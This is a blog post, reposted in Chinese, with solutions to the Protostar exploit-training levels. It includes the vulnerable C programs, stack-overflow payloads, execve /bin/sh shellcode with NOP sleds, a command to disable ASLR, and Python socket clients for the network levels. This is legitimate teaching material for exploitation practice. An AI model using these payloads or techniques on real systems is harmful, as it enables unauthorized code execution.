zcc1414

博客园 首页 联系 订阅 管理

转载学习于  http://www.programlife.net/exploit-exercises-protostar-writeup-1.html

stack0  ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6int main(int argc, char **argv)
 7{
 8  volatile int modified;
 9  char buffer[64];
10
11  if(argc == 1) {
12    errx(1, "please specify an argument\n");
13  }
14
15  modified = 0;
16  strcpy(buffer, argv[1]);
17
18  if(modified == 0x61626364) {
19    printf("you have correctly got the variable to the right value\n");
20  } else {
21    printf("Try again, you got 0x%08x\n", modified);
22  }
23}

python -c "print 'A'*65" | ./stack0

stack1  ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6int main(int argc, char **argv)
 7{
 8  volatile int modified;
 9  char buffer[64];
10
11  if(argc == 1) {
12    errx(1, "please specify an argument\n");
13  }
14
15  modified = 0;
16  strcpy(buffer, argv[1]);
17
18  if(modified == 0x61626364) {
19    printf("you have correctly got the variable to the right value\n");
20  } else {
21    printf("Try again, you got 0x%08x\n", modified);
22  }
23}
python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./stack1

stack2  ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6int main(int argc, char **argv)
 7{
 8  volatile int modified;
 9  char buffer[64];
10  char *variable;
11
12  variable = getenv("GREENIE");
13
14  if(variable == NULL) {
15    errx(1, "please set the GREENIE environment variable\n");
16  }
17
18  modified = 0;
19
20  strcpy(buffer, variable);
21
22  if(modified == 0x0d0a0d0a) {
23    printf("you have correctly modified the variable\n");
24  } else {
25    printf("Try again, you got 0x%08x\n", modified);
26  }
27
28}

import os
 
def main():
    envval = 'A'*64 + '\x0a\x0d\x0a\x0d'
    os.putenv("GREENIE", envval)
    os.system("./stack2")
 
if __name__ == "__main__":
    main()

然后 python stack2.py  (另外 具体输入0D0A的方法是“回车->Ctrl+V->回车" *2)


stack3  ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6void win()
 7{
 8  printf("code flow successfully changed\n");
 9}
10
11int main(int argc, char **argv)
12{
13  volatile int (*fp)();
14  char buffer[64];
15
16  fp = 0;
17
18  gets(buffer);
19
20  if(fp) {
21    printf("calling function pointer, jumping to 0x%08x\n", fp);
22    fp();
23  }
24}
IDA 看到  08048424 win 地址那么 

python -c "print 'A'*64+'\x24\x84\x04\x08'" | ./stack3

stack4 ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6void win()
 7{
 8  printf("code flow successfully changed\n");
 9}
10
11int main(int argc, char **argv)
12{
13  char buffer[64];
14
15  gets(buffer);
16}
解法1  edb调试 看到 可以覆盖 'A'*64 + 12字节之后的返回地址 可以调节 程序流程

python -c "print 'A'*64+'b'*12 + '\xf4\x83\x04\x08'" | ./stack4

解法2 

gdb stack4
disas win
(得到win函数的地址: 0x080483f4)
 
disas main
   0x08048408 <+0>:	push   %ebp
   0x08048409 <+1>:	mov    %esp,%ebp
   0x0804840b <+3>:	and    $0xfffffff0,%esp
   0x0804840e <+6>:	sub    $0x50,%esp
   0x08048411 <+9>:	lea    0x10(%esp),%eax
   0x08048415 <+13>:	mov    %eax,(%esp)
   0x08048418 <+16>:	call   0x804830c <gets@plt>
   0x0804841d <+21>:	leave  
   0x0804841e <+22>:	ret    
b *0x0804840b
r
i r $esp
esp            0xbffff128	0xbffff128

main函数的返回地址覆盖偏移值为: 0×50+8+4-0×10=0x4C

stack5  ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6int main(int argc, char **argv)
 7{
 8  char buffer[64];
 9
10  gets(buffer);
11}


   0x080483c4 <+0>:     push   %ebp
   0x080483c5 <+1>:     mov    %esp,%ebp
   0x080483c7 <+3>:     and    $0xfffffff0,%esp
   0x080483ca <+6>:     sub    $0x50,%esp
   0x080483cd <+9>:     lea    0x10(%esp),%eax
   0x080483d1 <+13>:    mov    %eax,(%esp)
   0x080483d4 <+16>:    call   0x80482e8 <gets@plt>
   0x080483d9 <+21>:    leave  
   0x080483da <+22>:    ret  

main函数的返回地址覆盖偏移: 0x50+4+8-0x10 = 0x4c

第一  我们必须要先关闭内存随机化
echo 0 >/proc/sys/kernel/randomize_va_space 
要不然 用返回地址去覆盖跟定会出错
关闭Linux 内存地址随机化机制, 禁用进程地址空间随机化.可以将进程的mmap的基址,stack和vdso页面地址固定下来. 可以通过设置kernel.randomize_va_space内核参数来设置内存地址随机化的行为.
目前randomize_va_space的值有三种,分别是[0,1,2]
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

ulimit -c unlimited                 不限制core文件的大小
cat /proc/sys/kernel/core_pattern   查看core文件位置与格式
echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件




python -c "print 'A'*0x4c" | ./stack5


root@bt:~/Desktop/protostar/bin#gdb -q -c core 
[New Thread 2875]
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7e89b00 in ?? ()
(gdb) x /40xw $esp-100
0xbffff31c:     0x080483d9       0xbffff330         0xb7ea22a5      0xbffff338
0xbffff32c:     0xb7e899d5       0x41414141      0x41414141      0x41414141
0xbffff33c:     0x41414141       0x41414141      0x41414141      0x41414141
0xbffff34c:     0x41414141       0x41414141      0x41414141      0x41414141
0xbffff35c:     0x41414141       0x41414141      0x41414141      0x41414141
0xbffff36c:     0x41414141       0x41414141      0x41414141      0x41414141
0xbffff37c:     0xb7e89b00      0x00000001      0xbffff424         0xbffff42c
0xbffff38c:     0xb7fe1858       0xbffff3e0         0xffffffff            0xb7ffeff4

需要覆盖  0xbffff37c  地址上的值 为  0xbffff330 + 0x4c + 4 =0xBFFFF380


这里覆盖  0x4c+4 后的地址,  因为0x4c后的地址为 我们要覆盖的地址,0x4c+4 是我们想要开始执行shellcode的地址

import sys
#0xbffff380:
retnaddr = "\x80\xf3\xff\xbf"
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
sys.stdout.write('A'*0x4C + retnaddr + '\x90'*20 + shellcode)



stack6  ````````````````````````````````````````````````````````````````````````````````````````````````

1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6void getpath()
 7{
 8  char buffer[64];
 9  unsigned int ret;
10
11  printf("input path please: "); fflush(stdout);
12
13  gets(buffer);
14
15  ret = __builtin_return_address(0);
16
17  if((ret & 0xbf000000) == 0xbf000000) {
18    printf("bzzzt (%p)\n", ret);
19    _exit(1);
20  }
21
22  printf("got path %s\n", buffer);
23}
24
25int main(int argc, char **argv)
26{
27  getpath();
28}
   0x08048484 <+0>:     push   %ebp
   0x08048485 <+1>:     mov    %esp,%ebp
   0x08048487 <+3>:     sub    $0x68,%esp
   0x0804848a <+6>:     mov    $0x80485d0,%eax
   0x0804848f <+11>:    mov    %eax,(%esp)
   0x08048492 <+14>:    call   0x80483c0 <printf@plt>
   0x08048497 <+19>:    mov    0x8049720,%eax
   0x0804849c <+24>:    mov    %eax,(%esp)
   0x0804849f <+27>:    call   0x80483b0 <fflush@plt>
   0x080484a4 <+32>:    lea    -0x4c(%ebp),%eax
   0x080484a7 <+35>:    mov    %eax,(%esp)
   0x080484aa <+38>:    call   0x8048380 <gets@plt>
·········
   0x080484f9 <+117>:   ret    


返回地址 覆盖偏移值 = 0x4c + 4 = 0x50

这个题对返回地址作了判断,那么我们可以利用一个ret 指令,跳转到esp到shellcode直接执行




root@bt:~/Desktop/protostar/bin# python -c "print 'A'*0x50 + 'b'*4" | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbAAAAAAAAAAAAbbbb
段错误 (core dumped)
root@bt:~/Desktop/protostar/bin# gdb -q -c core 
[New Thread 3124]
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x /40xw $esp-100
0xbffff30c:     0x00000001      0x00000000      0x00000001      0xb7fff8f8
0xbffff31c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff35c:     0x62626262      0x41414141      0x41414141      0x41414141
0xbffff36c:     0x62626262      0x08048500      0x00000000      0xbffff3f8
0xbffff37c:     0xb7e89bd6      0x00000001      0xbffff424      0xbffff42c



覆盖0xbffff36c 地址上的值为 ret   (0x080484f9 ) 然后  0xbffff370 地址上的值为 shellcode 地址起始  赋值为  0xbffff374  

import sys
#0x080484f9
retbyte = "\xf9\x84\x04\x08"
#0xbffff370:
retnaddr = "\x74\xf3\xff\xbf"
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
#open('payload.txt','wb').write('A'*0x50 + retbyte + retnaddr +'\x90'*0x20 + shellcode)
sys.stdout.write('A'*0x50 + retbyte + retnaddr  +'\x90'*0x20+ shellcode)


stack7  ````````````````````````````````````````````````````````````````````````````````````````````````


 1#include <stdlib.h>
 2#include <unistd.h>
 3#include <stdio.h>
 4#include <string.h>
 5
 6char *getpath()
 7{
 8  char buffer[64];
 9  unsigned int ret;
10
11  printf("input path please: "); fflush(stdout);
12
13  gets(buffer);
14
15  ret = __builtin_return_address(0);
16
17  if((ret & 0xb0000000) == 0xb0000000) {
18    printf("bzzzt (%p)\n", ret);
19    _exit(1);
20  }
21
22  printf("got path %s\n", buffer);
23  return strdup(buffer);
24}
25
26int main(int argc, char **argv)
27{
28  getpath();
29}
跟stack6 一样的做法,只是  ret 地址不同而已

import sys
#0x08048544
retbyte = "\x44\x85\x04\x08"
#0xbffff370:
retnaddr = "\x74\xf3\xff\xbf"
shellcode = ("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev" +
             "\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31" +
             "\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99" +
             "\xb0\x0b\xcd\x80")
#open('payload.txt','wb').write('A'*0x50 + retbyte + retnaddr +'\x90'*0x20 + shellcode)
sys.stdout.write('A'*0x50 + retbyte+retnaddr  +'\x90'*0x20+ shellcode)

另外···················

objdump  还有点好用

msfconsole  下的 msfelfscan 也好用

还可以用IDA 查看  寻找

msf > msfelfscan -p stack6
[*] exec: msfelfscan -p stack6

[stack6]
0x08048452 pop ebx; pop ebp; ret
0x08048577 pop edi; pop ebp; ret
0x080485a7 pop ebx; pop ebp; ret


本题可以第二种方法: jmp eax  



net0  ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include "../common/common.c"
 2
 3#define NAME "net0"
 4#define UID 999
 5#define GID 999
 6#define PORT 2999
 7
 8void run()
 9{
10  unsigned int i;
11  unsigned int wanted;
12
13  wanted = random();
14
15  printf("Please send '%d' as a little endian 32bit int\n", wanted);
16
17  if(fread(&i, sizeof(i), 1, stdin) == NULL) {
18    errx(1, ":(\n");
19  }
20
21  if(i == wanted) {
22    printf("Thank you sir/madam\n");
23  } else {
24    printf("I'm sorry, you sent %d instead\n", i);
25  }
26}
27
28int main(int argc, char **argv, char **envp)
29{
30  int fd;
31  char *username;
32
33  /* Run the process as a daemon */
34  background_process(NAME, UID, GID);  
35  
36  /* Wait for socket activity and return */
37  fd = serve_forever(PORT);
38
39  /* Set the client socket to STDIN, STDOUT, and STDERR */
40  set_io(fd);
41
42  /* Don't do this :> */
43  srandom(time(NULL));
44
45  run();
46}
<span style="font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);"></span><pre name="code" class="python"><pre name="code" class="python">import socket
import struct

if __name__ == '__main__':
	import socket
	import struct
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect(('192.168.198.130',2999))
	data = sock.recv(1024)
	print data
	print type(data)
	
	data = data.split("'")[1]
	print type(data)
	sock.send(struct.pack('<i', int(data)))
	
	sock.send(data)
	print sock.recv(1024)

	sock.close()

root@bt:~/Desktop# python client.py 
Please send '175243340' as a little endian 32bit int

<type 'str'>
<type 'str'>
Thank you sir/madam

<span style="font-family: Arial, Helvetica, sans-serif; background-color: rgb(255, 255, 255);">split说明:</span>

s="aaabcccbdddbeeebffff"
result=string.split(s,"b")
则result值为['aaa', 'ccc', 'ddd', 'eee', 'ffff']
sep就是这里的"b",也就是字符串里面找到"b",将其作为分隔符,把字符串s分开,这里没有maxsplit参数,也就默认是全部分隔。

如果添加maxsplit参数,比如result=string.split(s,"b",2)这里把maxsplit设置为2,那么就只会分割前面两个,那么result的值为['aaa', 'ccc', 'dddbeeebffff']  后面那个干脆就没分割了,不过一般很少有用到maxsplit参数的时候。

另外如果不给出sep也就是分隔符,那么默认是空格。
比如s="aa bb cc dd"
result=string.split(s)
那么result的值为['aa', 'bb', 'cc', 'dd'],就是用空格来分割。

对了,split作为string的一个方法,还可以由string对象,也就是一般的字符串直接调用搜索,比如上面的可以result=s.split()就行了。


net1  ````````````````````````````````````````````````````````````````````````````````````````````````

 1#include "../common/common.c"
 2
 3#define NAME "net1"
 4#define UID 998
 5#define GID 998
 6#define PORT 2998
 7
 8void run()
 9{
10  char buf[12];
11  char fub[12];
12  char *q;
13
14  unsigned int wanted;
15
16  wanted = random();
17
18  sprintf(fub, "%d", wanted);
19
20  if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { 
21    errx(1, ":(\n");
22  }
23
24  if(fgets(buf, sizeof(buf)-1, stdin) == NULL) {
25    errx(1, ":(\n");
26  }
27
28  q = strchr(buf, '\r'); if(q) *q = 0;
29  q = strchr(buf, '\n'); if(q) *q = 0;
30
31  if(strcmp(fub, buf) == 0) {
32    printf("you correctly sent the data\n");
33  } else {
34    printf("you didn't send the data properly\n");
35  }
36}
37
38int main(int argc, char **argv, char **envp)
39{
40  int fd;
41  char *username;
42
43  /* Run the process as a daemon */
44  background_process(NAME, UID, GID);  
45  
46  /* Wait for socket activity and return */
47  fd = serve_forever(PORT);
48
49  /* Set the client socket to STDIN, STDOUT, and STDERR */
50  set_io(fd);
51
52  /* Don't do this :> */
53  srandom(time(NULL));
54
55  run();
56}

python  语法:

struct.pack(fmt,v1,v2, ...)
Return a string containing the values v1, v2, ... 
packed according to the given format. The arguments must match the values required by the format exactly.
struct.unpack(fmt,string)
Unpack the string (presumably packed by pack(fmt, ...)) according to the given format. 
The result is a tuple even if it contains exactly one item. The string must contain exactly the amount of data required by the format (len(string) must equalcalcsize(fmt)).
Character Byte order Size Alignment
@ native native native
= native standard none
< little-endian standard none
> big-endian standard none
! network (= big-endian) standard none
Format C Type Python type Standard size Notes
x pad byte no value    
c char string of length 1 1  
b signed char integer 1 (3)
B unsigned char integer 1 (3)
? _Bool bool 1 (1)
h short integer 2 (3)
H unsigned short integer 2 (3)
i int integer 4 (3)
I unsigned int integer 4 (3)
l long integer 4 (3)
L unsigned long integer 4 (3)
q long long integer 8 (2), (3)
Q unsigned long long integer 8 (2), (3)
f float float 4 (4)
d double float 8 (4)
s char[] string    
p char[] string    
P void * integer   (5), (3)
int  是4字节```````````````````````````````````

eg:
data = struct.unpack('<i','abcd')
print data  #1
data =  "%d\n" % (struct.unpack('<i', 'abcd'))
print data   #2
(1684234849,)#1
1684234849   #2

结果:

if __name__ == '__main__':
	import socket
	import struct
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect(('192.168.198.130',2998))
	data = sock.recv(1024)
	print data
	print type(data)
	data = '%d\n' % struct.unpack('i',data)
	
	print 'send data '+data
	sock.send(data)
	print sock.recv(1024)
	
	sock.close()
root@bt:~/Desktop# python client.py 
���?
<type 'str'>
send data 1071159696

you correctly sent the data


····这个程序怎么退出呢  ,先要查询 监听TCP 2998 端口的进程号  netstat -tlnp|grep 2998  然后KILL  进程即可

net2  ````````````````````````````````````````````````````````````````````````````````````````````````

int __cdecl run()
{
  int result; // eax@9
  int buf; // [sp+14h] [bp-24h]@6
  int v2[4]; // [sp+18h] [bp-20h]@2
  int i; // [sp+28h] [bp-10h]@1
  int v4; // [sp+2Ch] [bp-Ch]@1

  v4 = 0;
  for ( i = 0; i <= 3; ++i )
  {
    v2[i] = random();
    v4 += v2[i];
    if ( write(0, &v2[i], 4u) != 4 )
      errx(1, ":(\n");
  }
  if ( read(0, &buf, 4u) != 4 )
    errx(1, ":<\n");
  if ( v4 == buf )
    result = puts("you added them correctly");
  else
    result = puts("sorry, try again. invalid");
  return result;
}
答案:1

if __name__ == '__main__':
	import socket
	import struct
	sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect(('192.168.198.130',2997))
	data = sock.recv(1024)
	print data
	
	data =  struct.unpack('iiii',data)
        print data
        print type(data)
        data2 = data[0]+data[1]+data[2]+data[3]
	
	data3 = struct.pack('q',data2)
	
	sock.send(data3)
	print sock.recv(1024)

	sock.close()
root@bt:~/Desktop# python client.py 
��!Y�?f,q��Y7
(1495371652, 1065588930, 1898735133, 928636033)
<type 'tuple'>
you added them correctly
答案:2

import socket
import struct
 
if __name__ == '__main__':
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("192.168.198.130", 2997))
 
    sum = 0
    datalen = 0
    while datalen < 12:
        data = sock.recv(1024)
        print type(data)
        
        datalen += len(data)
        print 'datalen = %d' % datalen
        
        data = struct.unpack("<%dI" % (len(data)/4), data)
        print type(data)
        
        for x in data:
            print "%d" % x
            sum += x
    sock.send(struct.pack("<I", sum))
    print sock.recv(1024)
    sock.close()
root@bt:~/Desktop# python client.py 
<type 'str'>
datalen = 16
<type 'tuple'>
673873820
2011859757
186060414
580064129
you added them correctly



net3  ````````````````````````````````````````````````````````````````````````````````````````````````

int __cdecl get_string(char **a1, int a2, unsigned __int16 a3)
{
  unsigned __int8 v4; // [sp+2Fh] [bp-9h]@1

  v4 = *(_BYTE *)a2;
  if ( *(_BYTE *)a2 > a3 )
    errx(1, "badly formed packet");
  *a1 = (char *)malloc(v4);//这里可以看出这里需要 buffer长度,接着就是buffer长度了
  strcpy(*a1, (const char *)(a2 + 1));//(a2+1)看出buffer长度之后就是buffer了
  return v4 + 1;
}

<span style="font-size:12px;">bool __cdecl login(int a1, unsigned __int16 a2)
{
  int v2; // eax@3
  int v3; // eax@3
  int v4; // eax@3
  int v5; // eax@3
  int v6; // eax@3
  int v7; // eax@3
  const char *v9; // [sp+2Ch] [bp-1Ch]@3
  const char *v10; // [sp+30h] [bp-18h]@3
  char *ptr; // [sp+34h] [bp-14h]@3
  int v12; // [sp+38h] [bp-10h]@3
  int v13; // [sp+3Ch] [bp-Ch]@3

  if ( a2 <= 2u )
    errx(1, "invalid login packet length");
  v9 = NULL;
  v10 = NULL;
  ptr = NULL;
  v2 = get_string(&ptr, a1, a2);
  v12 = v2;
  v3 = get_string((char **)&v10, a1 + v2, a2 - v2);
  v12 += v3;
  v4 = get_string((char **)&v9, a1 + v12, a2 - v12);
  v12 += v4;
  v13 = 0;
  v5 = strcmp(ptr, "net3");
  v13 |= v5;
  v6 = strcmp(v10, "awesomesauce");
  v13 |= v6;
  v7 = strcmp(v9, "password");
  v13 |= v7;
  free(ptr);
  free((void *)v10);
  free((void *)v9);
  return v13 == 0;
}</span>

void __cdecl run(int fd)
{
  char *v1; // eax@5
  int v2; // [sp+16h] [bp-12h]@1
  int v3; // [sp+1Ch] [bp-Ch]@4

  while ( 1 )
  {
    nread(fd, (int)&v2, 2);//下面申请内存可以看出传入的字符串第一个应该是长度,并且是 unsigned int 并且是大尾
    LOWORD(v2) = ntohs(v2);
    *(int *)((char *)&v2 + 2) = (int)malloc((unsigned __int16)v2);//申请了内存必定是存放字符串的,第一个肯定是长度来申请内存,(char*)&v2+2肯定是buffer
    if ( !*(int *)((char *)&v2 + 2) )
      break;
    nread(fd, *(int *)((char *)&v2 + 2), (unsigned __int16)v2);
    if ( **(_BYTE **)((char *)&v2 + 2) == 23 )//第二个字符为23
    {
      v3 = login(*(int *)((char *)&v2 + 2) + 1, (unsigned __int16)(v2 - 1));//这里((char*)&v2+2) +1 是因为存放前面的23
      if ( v3 )
        v1 = "successful";
      else
        v1 = "failed";
      send_string(fd, 33, v1);
    }
    else
    {
      send_string(fd, 58, "what you talkin about willis?");
    }
  }
  errx(1, "malloc failure for %d bytes", (unsigned __int16)v2);
}

答案:

import socket
import struct
 
def getdata():
  data = ["net3","awesomesauce","password"]
  buffer = '\x17'
  for x in data:
    buffer = buffer + chr(len(x)+1) + x + '\00'
  buffer += '\n'
  return buffer
  
if __name__ == "__main__":
   sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   sock.connect(("192.168.198.130",2996))
   
   data = getdata()
   
   sock.send(struct.pack('>H',len(data)))
   sock.send(data)
   print sock.recv(1024)































posted on 2014-05-12 10:36  zcc1414  阅读(1009)  评论(0编辑  收藏  举报